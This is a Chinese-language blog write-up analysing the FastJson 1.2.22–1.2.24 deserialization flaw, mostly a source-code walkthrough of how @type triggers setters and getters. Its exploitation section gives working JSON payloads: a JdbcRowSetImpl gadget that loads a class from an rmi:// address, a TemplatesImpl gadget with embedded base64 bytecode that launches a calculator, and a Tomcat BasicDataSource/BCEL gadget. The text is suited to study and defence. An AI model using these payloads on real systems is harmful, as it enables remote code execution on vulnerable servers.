FastJson 1.2.22 - 1.2.24
经典的漏洞原理肯定要学习一下啦
FastJson这东西是阿里巴巴开发用来处理json字符串的,而且用的很广泛
一般大家这么用,也有可能只有我写这么垃圾的写法(x
为啥要把1.2.22 - 1.2.24
版本放在一块写呢? 因为在这之前没有反序列化黑名单之后 fastjson官方把这几个漏洞的AutoType
关闭了。这几个版本默认还是开启的
前置知识
为什么开头会说到AutoType
对于漏洞触发的条件很重要呢,这个@type
是个啥?
autotype 粗略来说就是用于设置能否将 JSON 反序列化成对象。
然后我们来讲讲漏洞成因
因为要反序列化成对象,所以给其属性赋值的时候,在私有属性等情况下,就需要访问他们的 getter 和 setter。
而如果这些 getter 和 setter 中存在危险操作,就会导致漏洞。
然后我们写一些demo具体分析一下
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Main {
public static void main(String[] args){
Student student = new Student();
student.setName("Ha1c9on");
student.setAge(18);
String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonstring);
Student o1 = (Student) JSON.parse(jsonstring);
System.out.println("o1:"+o1);
System.out.println(o1.getClass().getName());
JSONObject o2 = JSON.parseObject(jsonstring);
System.out.println("o2:"+o2);
System.out.println(o2.getClass().getName());
Object o3 = JSON.parseObject(jsonstring, Object.class);
System.out.println("o3:"+o3);
System.out.println(o3.getClass().getName());
}
}
这里假设我们有这么一个方法来处理Json
在字符串转对象的过程中(反序列化),主要使用JSON.parse()
和JSON.parseObject()
两个方法,两者区别在于parse()
会返回实际类型(User)的对象,而parseObject()
在不指定class时返回的是JSONObject
,指定class才会返回实际类型(User)的对象,也就是JSON.parseObject(s2)
和JSON.parseObject(s2, Object.class)
的区别,这里也可以指定为Student.class
运行起来是这样的
fastjson通过JSON.toJSONString()
将对象转为字符串(序列化),当使用SerializerFeature.WriteClassName
参数时会将对象的类名写入@type
字段中,在重新转回对象时会根据@type
来指定类,进而调用该类的set
、get
方法。因为这个特性,我们可以指定@type
为任意存在问题的类,造成一些问题。
那么和漏洞触发有什么关系呢?
假设我们现在有一个恶意的set方法放着我们的命令呢?
通过这样的写法,成功触发了计算器 那么什么流程呢?
反序列化流程
从上面的分析知道,这里是调用了settype
的方法才触发的反序列化,
我们换个写法
String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ha1c9on\",\"Type\":\"www\"}";
System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));
两种方法弹了两个计算器,让我们分析一下有什么区别
根据源码显示:JSON是一个抽象类,JSON中有一个静态方法parseObject(String text)
,将text解析为一个JSONObject对象并返回;
JSONObject是一个继承自JSON的类,当调用JSONObject.parseObject(result)
时,会直接调用父类的parseObject(String text)
。
所以两者没什么区别,一个是用父类去调用父类自己的静态的parseObject(String text),一个是用子类去调用父类的静态`parseObject(String text)
,两者调的是同一个方法。
让我们开始分析
进入parse方法,显然我们这里的text不是null
所以会 new DefaultJSONParser
这里会判断第一个字符的类型,我们这里传入的是{
也就是token成了12
然后再来看看下一个parser.parse();
会进到这么一个神奇的函数
public Object parse(Object fieldName) {
JSONLexer lexer = this.lexer;
switch(lexer.token()) {
case 1:
case 5:
case 10:
case 11:
case 13:
case 15:
case 16:
case 17:
case 18:
case 19:
default:
throw new JSONException("syntax error, " + lexer.info());
case 2:
Number intValue = lexer.integerValue();
lexer.nextToken();
return intValue;
case 3:
Object value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
lexer.nextToken();
return value;
case 4:
String stringLiteral = lexer.stringVal();
lexer.nextToken(16);
if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
JSONScanner iso8601Lexer = new JSONScanner(stringLiteral);
try {
if (iso8601Lexer.scanISO8601DateIfMatch()) {
Date var11 = iso8601Lexer.getCalendar().getTime();
return var11;
}
} finally {
iso8601Lexer.close();
}
}
return stringLiteral;
case 6:
lexer.nextToken();
return Boolean.TRUE;
case 7:
lexer.nextToken();
return Boolean.FALSE;
case 8:
lexer.nextToken();
return null;
case 9:
lexer.nextToken(18);
if (lexer.token() != 18) {
throw new JSONException("syntax error");
}
lexer.nextToken(10);
this.accept(10);
long time = lexer.integerValue().longValue();
this.accept(2);
this.accept(11);
return new Date(time);
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
case 14:
JSONArray array = new JSONArray();
this.parseArray((Collection)array, (Object)fieldName);
if (lexer.isEnabled(Feature.UseObjectArray)) {
return array.toArray();
}
return array;
case 20:
if (lexer.isBlankInput()) {
return null;
}
throw new JSONException("unterminated json string, " + lexer.info());
case 21:
lexer.nextToken();
HashSet<Object> set = new HashSet();
this.parseArray((Collection)set, (Object)fieldName);
return set;
case 22:
lexer.nextToken();
TreeSet<Object> treeSet = new TreeSet();
this.parseArray((Collection)treeSet, (Object)fieldName);
return treeSet;
case 23:
lexer.nextToken();
return null;
}
}
这里因为之前的token为12 进入
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
跟一下parseObject
会进到这个if里面
在这里将key赋值给了type通过scanSymbol获取到@type指定类
然后通过 TypeUtils.loadClass 方法加载Class 这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类
接着创建了ObjectDeserializer类并调用deserialze
方法
这里黑名单只有java.lang.Thread
那从哪里调用的各·getset
呢?
查找完成黑名单后,经过一系列的判断,最终会调用createJavaBeanDeserializer
方法
而在这个函数中 有调用
在com.alibaba.fastjson.util.JavaBeanInfo#build
中
在通过@type
拿到类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法。
总结set方法自动调用的条件为:
- 方法名长度大于4
- 非静态方法
- 返回值为void或当前类
- 方法名以set开头
- 参数个数为1
当满足条件之后会从方法名截取属性名,截取时会判断_
,如果是set_name
会截取为name
属性
当截取完但是找不到这个属性
会判断传入的第一个参数类型是否为布尔型,是的话就在截取完的变量前加上is
,截取propertyName的第一个字符转大写和第二个字符,并且然后重新尝试获取属性字段。
Get和Set差不多
他的判断是这些
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType()))
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
总结一下
- parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()
- parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()
- parseObject(jsonStr,Object.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()
利用
根据上面的分析,我们知道fastjson在处理过程中会调用类中相应满足条件的Set/Get方法。而@type
的值是可控的,这就可以寻找能够触发需要功能的类去触发恶意代码,从而达到任意代码执行的目的
所以根据这个要求,衍生出来了两种攻击方式
JdbcRowSetImpl
看名字就知道了,加载rmi和ldap
通过阅读com.sun.rowset.JdbcRowSetImpl
的源码就知道了,这玩意通过getDataSourceName
来获取地址连接
而这个get
正好满足上面FastJson
所需要的Get
方法
所以payload如下
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
这个"autoCommit":true
是啥呢
继续阅读com.sun.rowset.JdbcRowSetImpl
的源码可以发现,我们需要让this .conn 不为Null才会调用connect
函数
所以整体流程就十分清晰了
TemplatesImpl
需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField
这个我们一会儿再说
这东西相信学过CC链的同学都不陌生了,我们在来看一下他的调用栈
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
所以显而易见,调用点在getOutputProperties
根据之前构造字节码的方法,很容易发现其需要几个参数
setFieldValue(obj, "_bytecodes", new byte[][] {ClassPool.getDefault().get(cc1.eval.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
所以他的payload 应该长 这样
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"xxxx","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
前几个参数都很好解释,必要参数嘛
我们来看看_tfactory = {}
和 _outputProperties = {}
是为什么
在JavaBeanDeserializer
中 如果传入的object
为空 可以发现其自动帮我们根据类属性定义的类型自动创建实例了
所以这两个都是为了new一个新的实例出来帮助我们完成反序列化
至于后面的"_version":"1.0","allowedProtocols":"all"
我尝试去掉,也可以触发,跟了一下利用过程,没什么作用
那么我们下面来说说为什么要加一个Feature.SupportNonPublicField
才能触发
在默认情况下,fastjson只会反序列化公开的属性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes却是私有属性,_name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,这样_bytecodes字段才会被反序列化。
Tomcat#BasicDataSource
这条链子适用于在有Tomcat的环境下使用
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
使用BasicDataSource类设定Tomcat的数据库驱动为BCEL
的ClassLoader 传入对应值即可
利用链如下
BasicDataSource.getConnection() > createDataSource() > createConnectionFactory()
经过一连串的调用链,在 BasicDataSource.createConnectionFactory()
中会调用 Class.forName()
,还可以自定义ClassLoader
然后我们来讲讲这个poc神奇的地方,大家应该注意到了,前面的payload只有一层{}
这里有好几层,让我们来看看为什么会这么写呢?
-
将
{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……}
这一整段放到JSON Value的位置上,之后在外面又套了一层 “{}”。 -
之后又将 Payload 整个放到了JSON 字符串中 Key 的位置上。
分析过程中发现我们需要触发 BasicDataSource.getConnection()
方法。
而这个getConnection()
对于FastJson遍历Get方法的要求
1. 方法名长度大于等于4
2. 非静态方法
3. 以get开头且第4个字母为大写
4. 无传入参数
5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
他并不满足
其巧妙的利用了 JSONObject对象的 toString() 方法实现了突破。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 、is等方法。
首先,在 {“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……}
这一整段外面再套一层{},反序列化生成一个 JSONObject 对象。
然后,将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:
com.alibaba.fastjson.parser.DefaultJSONParser.parseObject
DefaultJSONParser.java:436
if (object.getClass() == JSONObject.class) {
key = (key == null) ? "null" : key.toString();
}
于是乎就触发了 BasicDataSource.getConnection()
。PoC最完整的写法应该是:
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
当然,如果目标环境的开发者代码中是调用的是 JSON.parseObject() ,那就不用这么麻烦了。与 parse() 相比,parseObject() 会额外的将 Java 对象转为 JSONObject 对象,即调用 JSON.toJSON(),在处理过程中会调用所有的 setter 和 getter 方法。
所以对于 JSON.parseObject(),直接传入这样的Payload也能触发:
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b......"
}
哦对了
BasicDataSource
类在旧版本的 tomcat-dbcp
包中,对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource
而Tomcat8.0后(包括8.0)这个玩意改名了 成了org.apache.tomcat.dbcp.dbcp2.BasicDataSource
参考
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
https://y4er.com/post/fastjson-learn/
https://paper.seebug.org/1192/
https://paper.seebug.org/1155/
下次让我们看看后续版本都是怎么样修复 或者 被bypass的